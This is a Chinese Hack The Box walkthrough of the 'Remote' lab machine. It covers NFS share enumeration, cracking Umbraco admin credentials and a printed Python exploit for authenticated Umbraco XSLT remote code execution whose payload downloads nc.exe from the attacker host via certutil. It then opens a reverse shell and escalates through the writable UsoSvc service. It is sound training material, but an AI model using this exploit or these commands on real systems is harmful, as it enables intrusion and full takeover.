zoukankan      html  css  js  c++  java
  • Hack The Box——Remote

    目录

    简介

    信息收集

    漏洞发现

    漏洞利用

    权限提升

    总结


    简介

    这是一个简单的Windows Server 2019靶机,要成功获得SYSTEM权限需要不懈的尝试。通过浏览Web站点发现Umbraco CMS登录入口,然后在2049端口发现NFS服务并发现共享文件夹,在共享文件夹中发现了Umbraco CMS的版本信息、用户名和密码,然后可以登录CMS系统,利用已知的远程代码执行漏洞反弹Shell,通过枚举运行的服务发现不安全的服务权限,最后通过修改服务调用的程序获得SYSTEM权限。

    信息收集

    使用Nmap扫描目标主机发现目标主机开启21,80,111,135,139和445端口,且操作系统极有可能是Windows Server 2012,如图:

    尝试使用匿名用户登录ftp成功,如图:

    但是没发现任何文件,访问80端口发现网站中有一些博客,如图:

    查看网站的同时扫描web目录,发现一些aspx文件,如图:

    然而并没用什么有用的信息,然后继续浏览网站其他功能,点击CONTACT按钮后发现一个Umbraco Forms安装的界面,如图:

    点击按钮之后跳转到了登录页面,如图:

    尝试常见弱口令无法登录成功,枚举用户名和密码也没成功。使用Google搜索该CMS发现存在用户名枚举、文件上传、远程代码执行和文件包含等漏洞,但需要知道用户名和密码。然后查看Nmap扫描结果发现111端口挂载了NFS服务,使用showmount查看目标主机NFS共享的文件夹,发现存在everyone可访问的/site_backups文件夹,然后将其挂载到本地,如图:

    查看site_backups文件夹中的信息,查看Web.conf文件发现Umbraco版本信息、使用的数据库信息和smtp的用户名和密码,如图:

    在/site_backups/App_Data下发现Umbraco.sdf文件,SqlServerCe文件,复制到Windows环境中使用CompactView等工具查看无果。然后在site_backups/App_Data/Logs下的UmbracoTraceLog.intranet.txt中发现两个用户成功登录,如图:

    然后在UmbracoTraceLog.intranet.txt.2020-02-19中再次发现版本信息,如图:

    直接使用记事本打开Umbraco.sdf文件,查找admin@htb.local和ssmith@htb.local,发现有字符串疑似经过SHA1和HMACSHA256算法生成的hash值,如图:

    使用在线MD5解密,如图:

    然后使用admin@htb.local和baconandcheese登录Umbraco CMS,如图:

    漏洞发现

    从前面收集到的信息可以发现可以利用远程代码执行漏洞,需要修改payload替换calc.exe为cmd.exe,添加程序参数为/c wget http://10.10.14.216/nc.exe c:windows emp c.exe,然而并未执行成功,使用curl、certutil也都未成功。尝试手工验证漏洞是否存在,访问http://10.10.10.180/umbraco/developer/Xslt/xsltVisualize.aspx,如图:

    点击绿色按钮,用BurpSuite截取数据包,添加参数ctl00$body$xsltSelection的值为修改后的payload,添加Console.WriteLine(output)将执行后的结果输出到网页中,如图:

    执行之后成功返回执行的结果,如图:

    看来漏洞是存在的。

    漏洞利用

    然后修改Exp如下:

    # Exploit Title: Umbraco CMS - Remote Code Execution by authenticated administrators
    # Dork: N/A
    # Date: 2019-01-13
    # Exploit Author: Gregory DRAPERI & Hugo BOUTINON
    # Vendor Homepage: http://www.umbraco.com/
    # Software Link: https://our.umbraco.com/download/releases
    # Version: 7.12.4
    # Category: Webapps
    # Tested on: Windows IIS
    # CVE: N/A
    
    
    import requests;
    
    from bs4 import BeautifulSoup;
    
    def print_dict(dico):
        print(dico.items());
        
    print("Start");
    
    # Execute a calc for the PoC
    payload = """<?xml version="1.0"?>
    <xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:msxsl="urn:schemas-microsoft-com:xslt" xmlns:csharp_user="http://csharp.mycompany.com/mynamespace">
    <msxsl:script language="C#" implements-prefix="csharp_user">
    public string xml()
    { string cmd = "/c certutil -urlcache -split -f http://10.10.14.216/nc.exe c:/windows/temp/nc.exe"; System.Diagnostics.Process proc = new System.Diagnostics.Process();
     proc.StartInfo.FileName = "cmd.exe"; proc.StartInfo.Arguments = cmd;
     proc.StartInfo.UseShellExecute = false; proc.StartInfo.RedirectStandardOutput = true; 
     proc.Start(); string output = proc.StandardOutput.ReadToEnd(); return output;Console.WriteLine(output); } 
     </msxsl:script>
    <xsl:template match="/">
    <xsl:value-of select="csharp_user:xml()"/>
     </xsl:template> 
    </xsl:stylesheet> """;
    
    login = "admin@htb.local";
    password="baconandcheese";
    host = "http://10.10.10.180";
    
    # Step 1 - Get Main page
    s = requests.session()
    url_main =host+"/umbraco/";
    r1 = s.get(url_main);
    print_dict(r1.cookies);
    
    # Step 2 - Process Login
    url_login = host+"/umbraco/backoffice/UmbracoApi/Authentication/PostLogin";
    loginfo = {"username":login,"password":password};
    r2 = s.post(url_login,json=loginfo);
    
    # Step 3 - Go to vulnerable web page
    url_xslt = host+"/umbraco/developer/Xslt/xsltVisualize.aspx";
    r3 = s.get(url_xslt);
    
    soup = BeautifulSoup(r3.text, 'html.parser');
    VIEWSTATE = soup.find(id="__VIEWSTATE")['value'];
    VIEWSTATEGENERATOR = soup.find(id="__VIEWSTATEGENERATOR")['value'];
    UMBXSRFTOKEN = s.cookies['UMB-XSRF-TOKEN'];
    headers = {'UMB-XSRF-TOKEN':UMBXSRFTOKEN};
    data = {"__EVENTTARGET":"","__EVENTARGUMENT":"","__VIEWSTATE":VIEWSTATE,"__VIEWSTATEGENERATOR":VIEWSTATEGENERATOR,"ctl00$body$xsltSelection":payload,"ctl00$body$contentPicker$ContentIdValue":"","ctl00$body$visualizeDo":"Visualize+XSLT"};
    
    # Step 4 - Launch the attack
    r4 = s.post(url_xslt,data=data,headers=headers);
    soup = BeautifulSoup(r4.text, 'html.parser');
    print(soup.find(id="result"))
    print("End");

    使用python3开启80端口的监听,运行脚本后命令执行成功,成功将nc.exe上传到目标主机c:windows emp下,如图:

    然后在本地开启4444端口监听,修改payload中的参数,如图:

    执行脚本之后成功获得反弹的Shell,如图:

    权限提升

    查看操作系统信息发现是Windows Server 2019 x64,且安装了5个补丁,暂且不考虑内核漏洞提权了,如图:

    然后查看当前用户的权限,如图 

    由于JuicyPotato没有Windows Server 2019的CLSID,因此无法利用其提权。使用wmic service where started=true get name, startname查看启动的服务,如图:

    然后使用sc命令枚举存在缺陷的服务,发现UsoSvc服务可以被当前用户控制,尝试修改binpath属性的值为反弹Shell的脚本,然后启动服务发生错误,如图:

    尝试直接调用nc.exe进行反弹Shell发现成功启动服务依旧出现错误,但反弹Shell的命令被执行之后立即中断了,如图:

    然后使用MSF生成反弹Shell的exe文件,如图:

    上传执行之后依旧报错,但监听的端口成功获得SYSTEM权限的Shell,如图:

    总结

    总的来说该靶机非常简单,但依旧会花费很多时间,也可能会在一些地方找不到思路。首先,有些人可能容易找不到CMS系统的用户名和密码,读取sdf文件的数据花了点时间,没想到可以使用最简单的方法查看到文件中有效的内容。其次就是提权需要大量枚举,一定要坚持下去。

  • 相关阅读:
    LeetCode 40. 组合总和 II(Combination Sum II)
    LeetCode 129. 求根到叶子节点数字之和(Sum Root to Leaf Numbers)
    LeetCode 60. 第k个排列(Permutation Sequence)
    LeetCode 47. 全排列 II(Permutations II)
    LeetCode 46. 全排列(Permutations)
    LeetCode 93. 复原IP地址(Restore IP Addresses)
    LeetCode 98. 验证二叉搜索树(Validate Binary Search Tree)
    LeetCode 59. 螺旋矩阵 II(Spiral Matrix II)
    一重指针和二重指针
    指针的意义
  • 原文地址:https://www.cnblogs.com/hzcya1995/p/13302353.html
Copyright © 2011-2022 走看看